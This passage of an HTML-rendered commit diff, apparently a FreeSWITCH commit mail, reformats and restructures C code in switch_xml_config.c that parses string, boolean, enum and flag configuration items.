</del><ins>+                                } else if (string_options-&gt;pool) {
+                                        /* Pool-allocated buffer */
+                                        char **dest = (char **) ptr;
+
+                                        if (newstring) {
+                                                if (!*dest || strcmp(*dest, newstring)) {
+                                                        *dest = switch_core_strdup(string_options-&gt;pool, newstring);
+                                                }
</ins><span class="cx">                                         } else {
</span><del>-                                                newval = (int)(intptr_t)item-&gt;defaultvalue; 
</del><ins>+                                                if (*dest) {
+                                                        changed = SWITCH_TRUE;
+                                                        *dest = NULL;
+                                                }
</ins><span class="cx">                                         }
</span><del>-                                        
-                                        if (lookup_result != SWITCH_STATUS_SUCCESS) {
-                                                newval = (int)(intptr_t)item-&gt;defaultvalue;
-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Invalid value [%s] for parameter [%s]\n&quot;,  value, item-&gt;key);
-                                                switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
-                                        }
-                                        
-                                        if (*dest != newval) {
-                                                changed = SWITCH_TRUE;
-                                                *dest = newval;
-                                        }
-                                }
-                                break;
-                        case SWITCH_CONFIG_FLAG:
-                                {
-                                        int32_t *dest = (int32_t*)ptr;
-                                        int index = (int)(intptr_t)item-&gt;data;
-                                        int8_t currentval = (int8_t)!!(*dest &amp; index);
-                                        int8_t newval = 0;
-                                        
-                                        if (value) {
-                                                newval = switch_true(value);
</del><ins>+                                } else {
+                                        /* Dynamically allocated buffer */
+                                        char **dest = (char **) ptr;
+
+                                        if (newstring) {
+                                                if (!*dest || strcmp(*dest, newstring)) {
+                                                        switch_safe_free(*dest);
+                                                        *dest = strdup(newstring);
+                                                        changed = SWITCH_TRUE;
+                                                }
</ins><span class="cx">                                         } else {
</span><del>-                                                newval = (switch_bool_t)(intptr_t)item-&gt;defaultvalue;
-                                        }
-                                        
-                                        if (newval != currentval) {
-                                                changed = SWITCH_TRUE;
-                                                if (newval) {
-                                                        *dest |= (1 &lt;&lt; index);
-                                                } else {
-                                                        *dest &amp;= ~(1 &lt;&lt; index);
</del><ins>+                                                if (*dest) {
+                                                        switch_safe_free(*dest);
+                                                        changed = SWITCH_TRUE;
</ins><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                break;
-                        case SWITCH_CONFIG_FLAGARRAY:
-                                {
-                                        int8_t *dest = (int8_t*)ptr;
-                                        unsigned int index = (unsigned int)(intptr_t)item-&gt;data;
-                                        int8_t newval = value ? !!switch_true(value) : (int8_t)((intptr_t)item-&gt;defaultvalue);
-                                        if (dest[index] != newval) {
-                                                changed = SWITCH_TRUE;
-                                                dest[index] = newval;
</del><ins>+                        }
+                        break;
+                case SWITCH_CONFIG_BOOL:
+                        {
+                                switch_bool_t *dest = (switch_bool_t *) ptr;
+                                switch_bool_t newval = SWITCH_FALSE;
+
+                                if (value &amp;&amp; switch_true(value)) {
+                                        newval = SWITCH_TRUE;
+                                } else if (value &amp;&amp; switch_false(value)) {
+                                        newval = SWITCH_FALSE;
+                                } else if (value) {
+                                        /* Value isnt true or false */
+                                        newval = (switch_bool_t) (intptr_t) item-&gt;defaultvalue;
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Invalid value [%s] for parameter [%s], setting default [%s]\n&quot;,
+                                                                          value, item-&gt;key, newval ? &quot;true&quot; : &quot;false&quot;);
+                                        switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
+                                } else {
+                                        newval = (switch_bool_t) (intptr_t) item-&gt;defaultvalue;
+                                }
+
+                                if (*dest != newval) {
+                                        *dest = newval;
+                                        changed = SWITCH_TRUE;
+                                }
+                        }
+                        break;
+                case SWITCH_CONFIG_CUSTOM:
+                        break;
+                case SWITCH_CONFIG_ENUM:
+                        {
+                                switch_xml_config_enum_item_t *enum_options = (switch_xml_config_enum_item_t *) item-&gt;data;
+                                int *dest = (int *) ptr;
+                                int newval = 0;
+                                switch_status_t lookup_result = SWITCH_STATUS_SUCCESS;
+
+                                if (value) {
+                                        lookup_result = switch_xml_config_enum_str2int(enum_options, value, &amp;newval);
+                                } else {
+                                        newval = (int) (intptr_t) item-&gt;defaultvalue;
+                                }
+
+                                if (lookup_result != SWITCH_STATUS_SUCCESS) {
+                                        newval = (int) (intptr_t) item-&gt;defaultvalue;
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Invalid value [%s] for parameter [%s]\n&quot;, value, item-&gt;key);
+                                        switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
+                                }
+
+                                if (*dest != newval) {
+                                        changed = SWITCH_TRUE;
+                                        *dest = newval;
+                                }
+                        }
+                        break;
+                case SWITCH_CONFIG_FLAG:
+                        {
+                                int32_t *dest = (int32_t *) ptr;
+                                int index = (int) (intptr_t) item-&gt;data;
+                                int8_t currentval = (int8_t) ! !(*dest &amp; index);
+                                int8_t newval = 0;
+
+                                if (value) {
+                                        newval = switch_true(value);
+                                } else {
+                                        newval = (switch_bool_t) (intptr_t) item-&gt;defaultvalue;
+                                }
+
+                                if (newval != currentval) {
+                                        changed = SWITCH_TRUE;
+                                        if (newval) {
+                                                *dest |= (1 &lt;&lt; index);
+                                        } else {
+                                                *dest &amp;= ~(1 &lt;&lt; index);
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                break;
-                        case SWITCH_CONFIG_LAST:
-                                break;
-                        default:
-                                break;
</del><ins>+                        }
+                        break;
+                case SWITCH_CONFIG_FLAGARRAY:
+                        {
+                                int8_t *dest = (int8_t *) ptr;
+                                unsigned int index = (unsigned int) (intptr_t) item-&gt;data;
+                                int8_t newval = value ? !!switch_true(value) : (int8_t) ((intptr_t) item-&gt;defaultvalue);
+                                if (dest[index] != newval) {
+                                        changed = SWITCH_TRUE;
+                                        dest[index] = newval;
+                                }
+                        }
+                        break;
+                case SWITCH_CONFIG_LAST:
+                        break;
+                default:
+                        break;
</ins><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (callback) {
</span><span class="cx">                         callback(item, value, (reload ? CONFIG_RELOAD : CONFIG_LOAD), changed);
</span><span class="cx">                 }
</span><span class="lines">@@ -384,14 +388,15 @@
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!found) {
</span><span class="cx">                                 /* Tell the user */
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Configuration parameter [%s] is unfortunately not valid, you might want to double-check that.\n&quot;, header-&gt;name);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                  &quot;Configuration parameter [%s] is unfortunately not valid, you might want to double-check that.\n&quot;, header-&gt;name);
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -399,35 +404,36 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_xml_config_cleanup(switch_xml_config_item_t *instructions)
</span><span class="cx"> {
</span><span class="cx">         switch_xml_config_item_t *item;
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (item = instructions; item-&gt;key; item++) {
</span><del>-                switch_xml_config_callback_t callback = (switch_xml_config_callback_t)item-&gt;function;
-                
</del><ins>+                switch_xml_config_callback_t callback = (switch_xml_config_callback_t) item-&gt;function;
+
</ins><span class="cx">                 switch (item-&gt;type) {
</span><del>-                        case SWITCH_CONFIG_STRING:
-                                {
-                                        char **ptr = (char**)item-&gt;ptr;
-                                        switch_xml_config_string_options_t *string_options = (switch_xml_config_string_options_t*)item-&gt;data;
-                                        /* if (using_strdup) */
-                                        if (string_options &amp;&amp; !string_options-&gt;pool &amp;&amp; !string_options-&gt;length) {
-                                                switch_safe_free(*ptr);
-                                        }
</del><ins>+                case SWITCH_CONFIG_STRING:
+                        {
+                                char **ptr = (char **) item-&gt;ptr;
+                                switch_xml_config_string_options_t *string_options = (switch_xml_config_string_options_t *) item-&gt;data;
+                                /* if (using_strdup) */
+                                if (string_options &amp;&amp; !string_options-&gt;pool &amp;&amp; !string_options-&gt;length) {
+                                        switch_safe_free(*ptr);
</ins><span class="cx">                                 }
</span><del>-                                break;
-                        default:
-                                break;
</del><ins>+                        }
+                        break;
+                default:
+                        break;
</ins><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (callback) {
</span><span class="cx">                         callback(item, NULL, CONFIG_SHUTDOWN, SWITCH_FALSE);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(void) switch_config_perform_set_item(switch_xml_config_item_t *item, const char *key, switch_xml_config_type_t type, int flags, void *ptr,         
-                                                                                const void* defaultvalue, void *data, switch_xml_config_callback_t function, const char *syntax, const char *helptext)
</del><ins>+SWITCH_DECLARE(void) switch_config_perform_set_item(switch_xml_config_item_t *item, const char *key, switch_xml_config_type_t type, int flags, void *ptr,
+                                                                                                        const void *defaultvalue, void *data, switch_xml_config_callback_t function, const char *syntax,
+                                                                                                        const char *helptext)
</ins><span class="cx"> {
</span><span class="cx">         item-&gt;key = key;
</span><span class="cx">         item-&gt;type = type;
</span></span></pre>
</div>
</div>
<div id="footer">See you at ClueCon</div>

</body>
</html>